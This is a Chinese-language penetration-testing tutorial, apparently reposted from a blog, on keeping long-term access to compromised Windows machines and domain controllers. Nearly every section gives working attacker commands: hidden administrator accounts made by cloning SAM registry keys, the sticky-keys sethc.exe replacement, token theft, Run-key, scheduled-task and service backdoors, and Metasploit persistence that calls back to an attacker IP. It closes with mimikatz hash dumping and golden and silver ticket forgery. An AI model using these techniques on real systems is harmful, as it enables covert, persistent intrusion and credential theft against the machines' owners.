admin管理员组文章数量:1639831
目录
- Windows 操作系统常见持久性后门
- Windows系统隐藏账户
- Shift 粘滞键后门
- 手动制作
- Empire 下的利用
- 注册表后门
- 手动制作
- Metasploit 下的利用
- Empire 下的利用
- Windows 计划任务后门
- 利用 at 命令
- 利用 schtasks 命令
- 利用SharPersist工具
- Empire 下的利用
- Windows 服务后门
- 利用sc命令手动创建
- 利用SharPersist工具创建
- Metasploit下的利用
- 域控制器权限维持常见思路
- 黄金票据(Golden ticket)
- 白银票据(Silver ticket)
当我们在渗透过程中通过艰辛的努力终于获取了目标主机权限后,我们接下来要做的往往是在目标机器上创建一个后门来维持住我们所获得的权限,否则一旦目标密码被改变或者漏洞被修补,那么就会导致我们对服务器权限的丢失。有了后门,我们就可以进出内网如若无人之境,所以权限维持的重要性可见一斑。
Windows 操作系统常见持久性后门
几种常见的 Windows 系统后门,包括Windows系统隐藏用户、Shift粘粘键后门、注册表后门、Windows 计划任务、Windows 新服务后门、WMI后门等等。
Windows系统隐藏账户
该方法是通过建立隐藏账户,制作系统用户远程控制后门,维持目标Windows系统权限。制作方法跟步骤如下:
在目标主机cmd中输入以下命令,创建一个名为whoami$的隐藏账户,并把该隐藏账户设置为管理员权限:
net user whoami$ Liu78963 /add
net localgroup administrators whoami$ /add
如上图,我们已经创建成功,执行net user命令,发现是看不到whoami$用户的:
但是这就结束了吗,没有!虽然上面net user看不见该隐藏用户,但是在控制面板和计算机管理的本地用户和组中,仍然是可以看的到该用户的:
为了更好地隐藏我们的后门账户,我们还要开启目标主机的远程桌面进行如下操作。
打开注册表编辑器,找到HKEY_LOCAL_MACHINE\SAM\SAM
,单机右建,选择“权限”,把Administrator用户的权限,设置成“完全控制”权限,然后关闭注册表编辑器,再次打开即可。
这样SAM下的文件就都能看见了。
然后,在注册表编辑器的HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
处,点击Administrator用户,在左侧找到和在右边显示的键值的类型一项“0x1f4”相同的目录名,也就是箭头所指目录“000001F4”:
复制000001F4
目录中的F键的值:
然后找到与隐藏账户whoami$右边类型的键值“0x3e9”
相同的目录名,也就是:
然后将000001F4
的F值粘贴到000003E9
的F值中,点击确定:
然后从注册表中右键导出000003E9和whoami
,并删除whoami用户 net user whoami$ /del
:
此时,查看注册表以及本地用户和组或者控制面板,whoami$用户已经没有了
最后,将刚才导出的两个后缀为.reg的注册表项导入注册表中:
这样我们的隐藏账户whoami,这个账户的,只有在注册表中才能看得到。不管你是在命令提示符下输入netuser或者在系统用户管理界面都是看不到whoami。
Shift 粘滞键后门
如果你在电脑上连按五次shift键,你就会发现电脑屏幕上弹出了一个叫做“粘滞键”的程序:
即使在没有登录进系统之前,连按五次shift键也可以弹出这个程序。
思考一下,如果我们知道了这个程序的绝对路径,那么我们就可以将cmd.exe伪装成这个粘滞键程序,当我们连按五次shift键时,便会弹出一个CMD命令行窗口,那么我们就可以无需登录进系统便可以控制目标主机了。
粘滞键程序名称为“sethc.exe”,其路径为“c:\windows\system32\sethc.exe”。利用粘滞键做后门是一种比较常见的持续控制方法。其基本流程如下:
- 首先,我们手动或利用工具,找到sethc.exe将其删除或改名为sethc.exe.bak,接着将cmd.exe程序复制一个副本,并命名为“sethc.exe”。
- 最后,重启计算机再次按下5次Shift键时,就会弹出CMD界面,后门制作成功。
手动制作
在目标主机上执行如下命令即可:
cd c:\windows\system32
move sethc.exe sethc.exe.bak // 将sethc.exe重命名
copy cmd.exe sethc.exe // 将一个cmd.exe副本保存伪装成sethc.exe
此时,我们打开目标主机的远程桌面,连续按下五次shift键,便可以看到目标主机屏幕上成功弹出了一个CMD窗口:
如上图,该cmd是以system权限运行的,接下来我们就可以无需知道登录密码,无需登录,直接对目标主机执行各种高权限的操作了,也完全可以新建一个高权限用户直接登录进入系统,是不是很有意思?
但是,先别高兴地太早了,在一些做了防护的主机上,即使是SYSTEM权限也是无法修改sethc.exe的:
只有TrustedInstaller权限才可以,这时,我们就要先模拟一个TrustedInstaller权限的令牌获取TrustedInstaller权限,然后再执行上述操作。我们的思路如下:
当我们启动TrustedInstaller服务时会启动进程TrustedInstaller.exe,该程序的权限为NT SERVICE\TrustedInstaller,那么我们就可以窃取该进程的令牌。
首先进入shell启动TrustedInstaller服务:
sc.exe start TrustedInstaller # 先进入shell启动TrustedInstaller服务
然后执行如下即可:
use incognito
ps # 找到TrustedInstaller的进程PID,这里为3476
steal_token <PID> # 从该进程中窃取令牌
getuid
此时便可以对sethc.exe进行任何操作了:
Empire 下的利用
如果你觉得上面的手动操作比较复杂,你可以使用Empire的 lateral_movement/invoke_wmi_debugger模块自动完成以上操作。
该模块将为指定的目标(SETHC.exe、Utilman.exe、OSK.exe、DealActudi.exe或Max .exe)来设置调试器,使之成为选择的目标(即CMD.exe)或阶段程序。这类似于持久性/调试器模块,但具有远程执行而不是本地执行功能。
假设我们已经在Empire上面获得了目标主机的session,我们可以通过该模块在目标主机上设置粘滞键后门:
usemodule lateral_movement/invoke_wmi_debugger
set ComputerName <主机名/IP>
set TargetBinary sethc.exe
execute
如下图所示,我们成功在目标主机上安装了“粘滞键”后门:
注册表后门
该方法是通过将需要执行的后门程序或者攻击脚本路径添加到注册表的自动启动项中,从而实现目标主机启动或登录时便会执行后门程序使我们获得其控制权限。
一般我们使用注册表的如下位置:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run // 开启时启动程序
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit // 登录时启动程序
手动制作
首先我们制作一个metasploit后门:
将该后门程序上传到目标主机的C:\Windows\System32目录中:
然后在目标主机的meterpreter执行如下命令注册表进行操作制作后门:
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run #枚举run下的key
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v backdoor -d 'C:\windows\system32\backdoor.exe' #设置键值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v backdoor #查看键值
如上图所示,后门创建成功。此时我们重新开一个metasploit监听,然后输入“shutdown -r -t 0”命令让目标主机重启,当目标主机重新启动后便会启动执行backdoor.exe后门程序,我们攻击机的新开的metasploit监听上就会成功上线:
我们还可以操作注册表的Userinit键:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
让目标主机在用户进行登陆时,winlogon运行指定的后门程序。
除此之外还有以下可利用的注册表键:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce // 只会在开机时启动一次
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
Metasploit 下的利用
Metasploit通过使用Meterpreter脚本和后渗透模块来支持通过注册表的持久性。Meterpreter脚本将以VBS脚本的形式创建一个有效payload,该payload将被上传到目标主机的磁盘上,并创建一个注册表项,该注册表项将在用户登录期间循环运行该有效负载。
run persistence -U -P windows/x64/meterpreter/reverse_tcp -i 5 -p 4444 -r 192.168.52.129
run persistence -X -P windows/x64/meterpreter/reverse_tcp -i 5 -p 4444 -r 192.168.52.129
- -U 指定启动方式为用户登录时自启动
- -X 指定启动的方式为开机自启动
- -P 指定所使用的payload
- -i 不断尝试反向连接的时间间隔,我们这里设置的是5秒钟执行一次
- –r 指定攻击者的ip
- -p 指定攻击者监听的端口
如上图所示执行成功,生成后门后,只要目标主机重启或者登录,我们将在特定的时间间隔保持meterpreter会话了。
Empire 下的利用
Empire就是针对内网渗透,针对Powershell,我们在内网渗透中肯能用到的powershell脚本,全部都在Empire的框架中了,更是域渗透神器。
在Empire上面有一个persistence/userland/registry后渗透模块,可以自动帮我们完成上面手动创建注册表后门的任务。
假设我们已经在Empire上面获得了一个目标主机的session,我们可以通过设置该模块在目标主机上创建注册表后门:
usemodule persistence/userland/registry
set Listener <监听名>
set RegPath HKCU:Software\Microsoft\Windows\CurrentVersion\Run
execute
如下图所示,成功在目标主机上创建后门:
Windows 计划任务后门
计划任务可以让目标主机在特定的时间执行我们预先准备的后门程序从而使我们获得目标系统的控制权。计划任务的持久化技术可以手动实现,也可以自动实现。有效负载可以从磁盘或远程位置执行,它们可以是可执行文件、powershell脚本或scriptlet的形式。
利用 at 命令
at 命令是Windows自带的用于创建计划任务的命令,但是他主要工作在Windows Server 2008之前版本的操作系统中。我们可以通过at命令通过跳板机在目标主机DC上创建计划任务,让计算机在指定的时间执行木马程序,从而获得对内网目标主机的控制。
首先在目标主机上传metasploit生成的后门程序:
然后进入目标主机的shell使用net time命令确定目标主机的当前时间:
接着在目标主机的shell中使用at命令创建计划任务,让目标主机在指定的时间运行metasploit木马程序:
at 15:01:00 /every:M,T,W,Th,F c:\windows\system32\backdoor.exe
如上图所示,计划任务创建成功,目标主机将在每个工作日的15:01:00执行后门程序,我们便可以在这个时间获得目标机器的控制权:
利用 schtasks 命令
上面我们讲了用at命令创建计划任务,但是该命令已经被Windows Vista、Windows Server 2008及之后版本的操作系统废弃了,代替他的是schtasks命命令。schtasks命令比at命令更为灵活、自由。于是,攻击者开始使用schtasks命令来代替at命令。
利用schtasks创建后门的大致流程如下:
- 首先在目标主机上传metasploit生成的后门程序。
- 然后在目标主机上创建一个名称为“backdoor”的计划任务。
该计划任务每分钟启动一次,启动程序为我们之前到C盘下的backdoor.exe,启动权限为system。命令如下:
schtasks /create /tn backdoor /sc minute /mo 1 /tr c:\windows\system32\backdoor.exe /ru system /f
然后新开一个metasploit监听,等待一分钟后这个监听便收到了目标主机的session:
利用SharPersist工具
SharPersist的创建是为了帮助使用多种不同的技术在Windows操作系统上建立持久性。它是一个国外安全人员用C#编写的命令行工具,可以反射性的加载Cobalt Strike的“execute-assembly”命令或任何其他支持反射性加载.NET程序集的框架。
SharPersist采用模块化设计,以便将来添加新的持久性技术。还有一些与tradecraft相关的项已经内置到该工具及其支持的持久性技术中,例如file time stomping策略和最小化或隐藏运行应用程序。
该工具支持的持久性技术有:
- keepass-keepass配置文件后门
- reg-注册表项添加/修改
- schtaskbackdoor-通过向后门计划任务添加其他操作来完成该任务
- startupfolder-启动文件夹中的lnk文件
- tortoisesvn-乌龟svn钩子脚本
- service-创建新的Windows服务
- schtask-创建新的计划任务
如果用户具有管理员级别的特权,则可以通过SharPersist工具创建一个新的计划任务,该任务将在Windows登录期间执行我们上传好的payload。
在目标主机上传我们新生成的metasploit木马和SharPersist程序:
然后使用以下命令创建我们恶意的计划任务:
SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c C:\Users\Administrator\backdoor2.exe" -n "backdoor2" -m add -o logon
然后新开一个metasploit监听,等待目标主机重启后便可以收到目标主机的session,并且还是system权限的:
Empire 下的利用
Windows计划任务后门我们可以用Empire上的persistence/elevated/schtasks
后渗透模块在目标主机上进行设置。
设置方法如下
usemodule persistence/elevated/schtasks
set Listener <监听名>
set DailyTime 19:50
execute
如上图所示,成功在目标主机上设置了计划任务后门,将每天19:50执行基于PowerShell的有效负载,并反弹一个高权限的session:
Windows 服务后门
在Windows主机上,获得了管理员的权限后,我们可以通过创建服务并将服务设置自启动的方式,来对目标主机进行持久控制。
注:如果未正确配置Windows环境中的服务或这些服务可以用作持久性方法,则这些服务可能导致权限提升。创建一个新的服务需要管理员级别的特权,它已经不是隐蔽的持久性技术。
利用sc命令手动创建
首先在目标主机上传新生成的msf木马:
如果帐户具有本地管理员特权,则可直接利用sc命令从目标主机的命令行中创建服务。
sc create backdoor binpath= "C:\Users\Administrator\backdoor.exe" start= auto // 创建服务后门
- binpath:用于执行任意有效负载
- auto:用于确保恶意服务将自动启动。
注意,所有选项的每个=号之前 一定不要有空格 =号后面一定要有空格,否则会错误。
如上图,服务创建成功,然后我们可以在攻击机上重新开启一个metasploit监听,等目标机重启时,目标机就会上线,如下图所示,成功得到了目标机的meterpreter,并且还是system权限的:
注意:我们在上图新开启的metasploit监听中,使用“set AutoRunScript migrate -f”设置了自动迁移进程,这是因为当一个进程在Windows系统中启动后,必须与服务控制管理器进行通信,如果没有进行通信,服务控制管理器会认为出现了错误,进而终止这个进程,所以如果我们不设置自动迁移进程,这个meterpreter会很快就断掉了。
利用SharPersist工具创建
除了利用上面的sc命令,我们还可以利用SharPersist工具。SharPersist支持在受感染系统中创建新服务的持久性技术,在系统上安装新服务需要本地管理员。
在目标主机上传新生成的metasploit木马程序backdoor2.exe和SharPersist.exe程序:
使用以下命令添加新服务,该服务将在Windows启动期间执行任意的有效负载:
SharPersist.exe -t service -c "C:\Windows\System32\cmd.exe" -a "/c C:\Users\Administrator\backdoor2.exe" -n "backdoor2" -m add
如上图,服务创建成功,我们在攻击机上新开启一个metasploit监听,当目标主机重启时,目标主机便能上线,如下图所示成功得到了目标机的meterpreter,并且还是system权限。
注意:不要忘记迁移进程。
Metasploit下的利用
Metasploit框架还具有一个后渗透模块:“post/windows/manage/persistence_exe”
,该模块需要以下配置,并将可执行文件放置在目标主机的可写位置:
如上图所示,该模块支持的持久性技术有:
- 注册表运行键后门(USER,即我们前文提到的“run persistence”命令就是用的这个技术)
- Windows服务后门(SERVICE)
使用该模块创建服务后门时,需要将启动变量修改为SERVICE,以便在系统上安装新服务。以下是创建服务的设置:
use post/windows/manage/persistence_exe
set REXEPATH /root/backdoor.exe // 攻击机本地要上传到目标机的paylaod路径
set SESSION 1
set STARTUP SERVICE
set LOCALEXEPATH C:\\Users\\Administrator // payload上传到目标机后存放的路径
run
如上图,服务后门创建成功,之后的使用方式与前面相同。
除此之外,在metasploit上,我们还可以用metsvc模块创建服务,建立持久后门。metsvc后渗透攻击模块其实就是将Meterpreter以系统服务的形式安装到目标主机,它会上传三个文件:
metsvc.dll
metsvc-service.exe
metsvc.exe
并通过服务启动,服务名为meterpreter。
常用命令:
run metsvc –h # 查看帮助
run metsvc –A #自动安装后门
如上图,服务后门安装成功。
接着我们启用另一个终端并进入msfconsole,使用如下命令即可连接后门:
use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set RHOST 192.168.52.1 //目标机ip
set LPORT 31337 //如上图,后门安装过程信息中有
exploit //获取到的会话是system权限
域控制器权限维持常见思路
在我们拿到域控的控制权后,为了我们对域控制器权限的丢失,需要使用权限维持的方法来维持我们取得的权限。下面我们将介绍几种常用的对域控制器现有权限进行持久化的操作,包括黄金票据、白银票据、Skeleton Key万能密码、DSRM 后门、SSP 注入、SID History 后门、等等。
黄金票据(Golden ticket)
在Windows的kerberos认证过程中,Client将自己的信息发送给KDC,然后KDC使用krbtgt用户的Hash作为密钥进行加密,生成TGT。那么如果获取到了krbtgt的Hash值,不就可以伪造任意的tgt了吗。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。
攻击者再使用黄金票据进行票据传递攻击时,通常要掌握以下信息:
- 需要伪造的域管理员用户名
- 完整的域名
- 域SID
- krbtgt的NTLM Hash
测试环境如下所示:
我们已经获得了普通域用户主机Windows7和域控制器DC的控制权,下面我们演示如何用黄金票据建立一个稳固的后门。
域成员主机:Windows 7(192.168.183.131)
域名:DEMO
用户名:douser
域控制器:192.168.183.130
域名:DEMO
用户名:administrator
首先,我们登上域控制器,上传mimikatz,然后执行如下命令抓取krbtgt用户的Hash值并获取域sid:
privilege::debug
lsadump::lsa /patch // 专用于在域控制器上导出用户密码或hash
如上图所示,我们得到krbtgt用户的Hash为:7c4ed692473d4b4344c3ba01c5e6cb63
,域sid为S-1-5-21-979886063-1111900045-1414766810
然后,我们切换到普通域用户的机器Windows 7,用mimikatz生成名为ticket.kirbi的TGT凭证,用户名为域管理员用户(administrator):
kerberos::golden /user:administrator /domain:DEMO /sid:S-1-5-21-979886063-1111900045-1414766810 /krbtgt:7c4ed692473d4b4344c3ba01c5e6cb63 /ticket:ticket.kirbi
kerberos::golden /user:需要伪造的域管理员用户名 /domain:demo /sid:域sid /krbtgt: krbtgt用户的Hash /ticket:ticket.kirbi
生成TGT凭证ticket.kirbi成功,名为ticket.kirbi,然后使用mimikatz将凭证ticket.kirbi注入进去:
kerberos::purge //先清空所有票据
kerberos::ptt ticket.kirbi //再将生成的票据注入域用户主机Windows7中
// kerberos::ptt <票据文件>
此时查看当前会话中的票据,就可以发现刚刚注入的票据在里面了:
到此,注入成功。输入“exit”退出mimikatz,此时,攻击者就可以利用Windows 7任意访问域控制器了,可以使用net use进行登录
dir \\WIN-ENS2VR5TR3N\c$
psexec,wmi等方法通过Windows7对DC进行远程执行命令.
白银票据(Silver ticket)
白银票据不同于黄金票据,白银票据的利用过程是伪造TGS,通过已知的授权服务密码生成一张可以访问该服务的TGT。因为在票据生成过程中不需要使用KDC,所以可以绕过域控制器,很少留下日志。而黄金票据在利用过程中由KDC颁发TGT,并且在生成伪造的TGT得20分钟内,TGS不会对该TGT的真伪进行效验。
白银票据依赖于服务账号的密码散列值,这不同于黄金票据利用需要使用krbtgt账号的密码哈希值,因此更加隐蔽。
攻击者要利用白银票据进行票据传递攻击,需要掌握下面几个信息:
- 域名
- 域SID
- 目标服务器的FQDN
- 可利用的服务
- 服务账号的NTLM Hash
- 要伪造的用户名
如下,我们已经获得了普通域用户主机Windows7和域控制器DC的控制权,将使用白银票据伪造CIFS服务权限,对DC进行持久化控制。CIFS服务通常用于Windows主机之间的文件共享。
测试环境与黄金票据的相同。
首先,登录域控,抓取机器账号的Hash:
privilege::debug
sekurlsa::logonpasswords
得到域控制器上的计算机账号的Hash为:f0954d00b21d338aa86051eca90f7f74
(注意是WIN-ENS2VR5TR3N$用户的NTLM-Hash,不是Administrator用户,因为要利用共享服务账号)
然后切换到普通域用户机器Windows 7中,使用mimikatz生成伪造的白银票据:
kerberos::golden /domain:DEMO /sid:S-1-5-21-979886063-1111900045-1414766810 /target:WIN-ENS2VR5TR3N.DEMO /rc4:f0954d00b21d338aa86051eca90f7f74 /service:cifs /user:douser /ptt
- /sid:域的SID值
- /rc4:server机器的hash
- /service:可利用的服务,这里是cifs
- /user:要伪造的用户名,任意填写
- /target:域控制器名,即FQDN(全称,如dc.domain)
成功生成了伪造的白银票据,此时进行权限验证。如下,发现已经可以访问域控制器的共享目录了:
dir \\WIN-ENS2VR5TR3N.demo\c$ // 机器名要全称,注意是全称
版权声明:本文标题:域内权限维持 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://m.elefans.com/dianzi/1729298027a1194846.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论